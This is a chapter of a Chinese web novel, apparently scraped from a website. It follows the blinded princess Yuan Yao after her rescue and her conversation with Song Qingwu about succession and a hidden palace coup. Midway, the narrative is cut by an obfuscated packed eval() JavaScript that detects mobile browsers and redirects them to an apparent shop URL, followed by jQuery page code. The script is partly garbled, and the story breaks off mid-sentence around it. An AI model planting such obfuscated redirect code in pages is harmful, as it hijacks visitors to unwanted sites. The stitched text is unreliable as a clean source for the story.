元窈失踪的消息被严密地封锁起来,除了沈从疏一队人马以及贺敛理、楚韩诠和宋卿梧几位管理者,其他人一概不知。
贺敛理要和楚韩诠一边指挥军队,一边寻找元窈。
沈从疏率领军队死守西北城,朔寒城只留下了宋卿梧。
战久难免民心乱。
江北的物质本就有限,战前靠的是黑市和榷场,战后榷场关闭,黑市价格上涨,再加上更多的资金用于军事,其他的物资几乎是只出不进。
如今局势下,战争何时能停,是输是赢都是未知数。
宋卿梧不能拿江北百姓冒险。
下令开公库是他深思熟虑之后做出的决定。
将粮食分给百姓,一是使其安心,让江北不至于成为惊弓之鸟。
二是做好了最坏的打算。
于是将最后的存粮公开分发,与全城军民共食。
他带领着将领、官员,饮食与最低级士兵相同。
全城同甘共苦,此战若胜,便有东山再起的机会,若败,百姓们的日子也不会太难过。
前线难以分出兵力来寻找元窈的踪迹,左右为难之际,贺敛理拍案而起。
“这是战场,战士面前一切以战事为先,其他全部靠后,督军坐镇有楚大人,本官自己去找就行。”
此言非虚。
贺敛理走遍元窈失踪那天可能走了所有路线,没有收获后改成踏遍前线区的每一寸土地。
沈从疏在前线领兵,楚韩诠统筹全局,死死堵住洋纳破开的一个又一个口子。
直到商卫小队将情报送到。
一齐带来的是元窈极有可能被洋纳绑走的消息。
兵力分布迅速调整,虽然足以自保,但军队无法大规模攻入洋纳。
一连三次进攻失败,沈从疏气得一拳砸在桌案上。
“难道只能派遣小队潜入吗?”
若是被老可汗关押,那么一小队人马怎么可能能够对抗看押的军队。
若是元窈已经逃出来,一小队人要找到什么时候,元窈又能撑到他们找到的时候吗?
希望渺茫。
贺敛理试着缓解大家的焦灼情绪。
“就算阿史那咄吉老糊涂了,阿史那射匮又冲动自大,阿史那结骨也不会这样做事不计后果的。”
洋纳攻打江北,不仅理由充分,而且可以获得土地,获得资源,还可以进一步增长他们的称霸野心。
可是进一步挑衅大晟,实在对他们不利。
伤害元窈不仅毫无好处,而且会更加激怒元惜苓,增加大晟受到的屈辱,也让大晟抓住报复的理由。
若是他们想以元窈为要挟,要江北投降,那完全可以用绝对的兵力打过来,完全没必要多此一举。
就算是出于某种理由需要伤害元窈,最好的办法也是在战乱中将其误伤,而不是让她死在洋纳。
经过贺敛理此番分析,各位确实稍稍放心。
眼下除了等待突围成功,没有别的方法。
似乎陷入无能为力的境地。
直到一匹筋疲力尽、伤痕累累的马踏入江北。
马背上驮着的不是身着甲胄的敌人,而是一个快要昏死过去的姑娘。
被困的第三天,元窈和慎予终于得救。
手指靠近噼里啪啦响的炭火,感受到真切的温暖,才敢相信这不是梦。
“慎予呢?”
元窈看不见,可她知道宋卿梧就在身旁。
被救以后,她和慎予先是被送到军中的医药院,医官处理好慎予的伤口,却对元窈的失明手足无措。
加上灯瑶,三个人最后因为伤势过重或是行动不便,全都被送往朔寒城。
宋卿梧彻底接手了朔寒城的大小事务,正忙着拨算盘,谋划粮食买卖。
听到她开口问,才终于抬起头。
“去商卫了,说是请医仙。”
听着滴滴答答没有间隔的算盘声,元窈不知哪里来的信心,伸手去摸桌上的另一个算盘。
摸空几次才终于摸到。
双手拂过,信心荡然无存。
“你是怎么做到的。”
元窈觉得自己以后可能做不到拨算盘拨得和宋卿梧一样好,于是虚心请教。
宋卿梧没有传授方法,而是反问她学这个干什么。
用处可大了。
元窈想好了,现在这副样子回到庆都实在是不好活,不如隐姓埋名去做一点小生意。
不求赚成什么富商,做够生活就好。
“那你倒是想得开。”
“你不也一样。”
元窈听出他话里的戏谑。
若是之前,她总会尽量回避关于宋卿梧眼盲的话题。
如今不仅不会回避,还能变本加厉地反击。
宋卿梧无奈地笑。
“你和我不一样。”
他说着推开手边的算盘。
“我是旧朝的遗子,在新朝想要活命都如履薄冰,要做其他的事情更是如同蜉蝣撼树。更重要的是,我的前朝标志难以忽略,在朝堂上有一席之地,就会有颠覆现有政权的声音出现,有心之人也会有所行动。”
无论我想不想,都不能在明面上争,这也是陛下将我安排在这里的原因。”
元窈听到他的脚步声,越走越近,脚步停下时一只手绕到她的脑后,解下了眼衣。
只是她学着他的样子带上的。
“你不一样,你是元氏皇族,陛下的意思也十分明显,要培养你来代表她,去与元瑞竞争,更是与元家竞争,争赢了,你便是皇太女,争不赢,你将是陛下输掉全盘的败子。”
元窈之前并不明白,史官记载的母皇虽然离经叛道谋逆夺下皇位,可也是手段干脆利落,让人佩服,元家却连该有的敬重都没有。
直到她从宋卿梧那里听到有人授意史官刻意隐瞒的部分。
偏偏这一部分,经历新旧两朝更迭动乱的官员人人心知肚明。
先帝多疑,难容直言正谏的良臣,朝堂上乌烟瘴气之时,后宫的娉贵妃改变的局面。
借助武将母家的滔天势力,元惜苓和元家武将里应外合,配合得完美无缺。
控制皇帝、后宫已经百官,这是宫中宫外策划了数年的成果。
可是最后的安排偏离了计划。
元惜苓迎接大哥元长荣和二哥元长兴进入皇城,迎来的却是兄长们惺惺作态地俯首称臣。
于是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16956584|193149||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
这场谋逆在所有人看来,是元惜苓威胁并利用元家的势力,夺了皇位并且将母家踩在脚下
无数官员口诛笔伐,痛骂其倒反天罡。
元惜苓在一片“女子当权,国将不国”的声音里坐上御座。
好在她把一切都处理得很好,那个被昏君迫害得体无完肤的国家正在慢慢恢复,议论声渐渐小起来。
元家在一切慢慢变好时送来了一个男孩,理由是元惜苓膝下无子,以后恐怕无人继承大统,把这个孩子过继给她,江山不至于没有着落。
人人都知,是将元家男孩定为继承人,好让这将是彻彻底底姓了元。
除了过继元长荣的儿子元瑞以外,她还挑选了一个对于元家作用不大的女孩。
是元长兴和原配的女儿元窈。
在这孩子满月那天,母亲发了疯病,跑出了元府。
元长兴因此事受到耻笑,连带将这个孩子一起视为耻辱,有了续弦以后,更是没有再管她的死活。
元惜苓挑中元窈时没有想得那么长远,跟计划过让这孩子担起什么重任。
她只是忍不住落寞地想,自己是不是和这孩子一样,是个多余的孩子。
父母于她,有养育之恩;兄长于她,有宠爱之情。
那么顺理成章的,她于家族,有添荣增光的责任
所以这些利用,元惜苓忍受下来。
她忍不了的是,元家的人开始干政,特别是他的大哥元长荣,已经开始明里暗里给元家谋私。
她没有忘历史上无数朝代是如何覆灭的,更忘不了百姓民不聊生的源头是什么。
这样的家族一步步握紧了最高的权力,会打造一个明朗的盛世吗?
随着时间的推移,她越来越确定不会。
这些年她都在犹豫两难的煎熬中度过。
一边是家族,是父母,是唯一能慰藉她的温暖亲情。
一边是御座背后的苍生和责任。
其中的痛苦她只和一个人诉说过。
这其实是自己和自己的博弈。
直到她带回来的小女儿插入这自我的对抗中,打破了自己博弈自己的平衡。
“如今战争也差不多了,江北在慢慢重建,一切都开始往原本的轨道靠拢,眼睛好以后,你也会去吧。”
元窈还在宋卿梧刚才的陈述中愣神。
史官没有记载的经历,如果仅仅是旁观者,怎么会如此洞察肺腑。
除非……
“你恨母皇吗?”
元窈虽然看不见,却仍然侧头往宋卿梧的方向看。
“小得不敢。”
元窈听见一声短促的笑。
“我是说,你恨母皇覆灭了大景,杀了大景的皇帝,让你失去太子的身份和尊贵吗?”
一阵沉默之后,又是一声无奈的轻笑。
“我很感激陛下,给了我自由身,让我远离了朝堂纷争。”
“而且还给了我替母后报仇的机会。”
“更重要的是。”
元窈没有看见,戴着眼衣的宋卿梧抬起头,直视着窗外的阳光。
时间久了,似乎觉得有些刺眼才偏头。
“她帮了母后,那就是我的恩人。”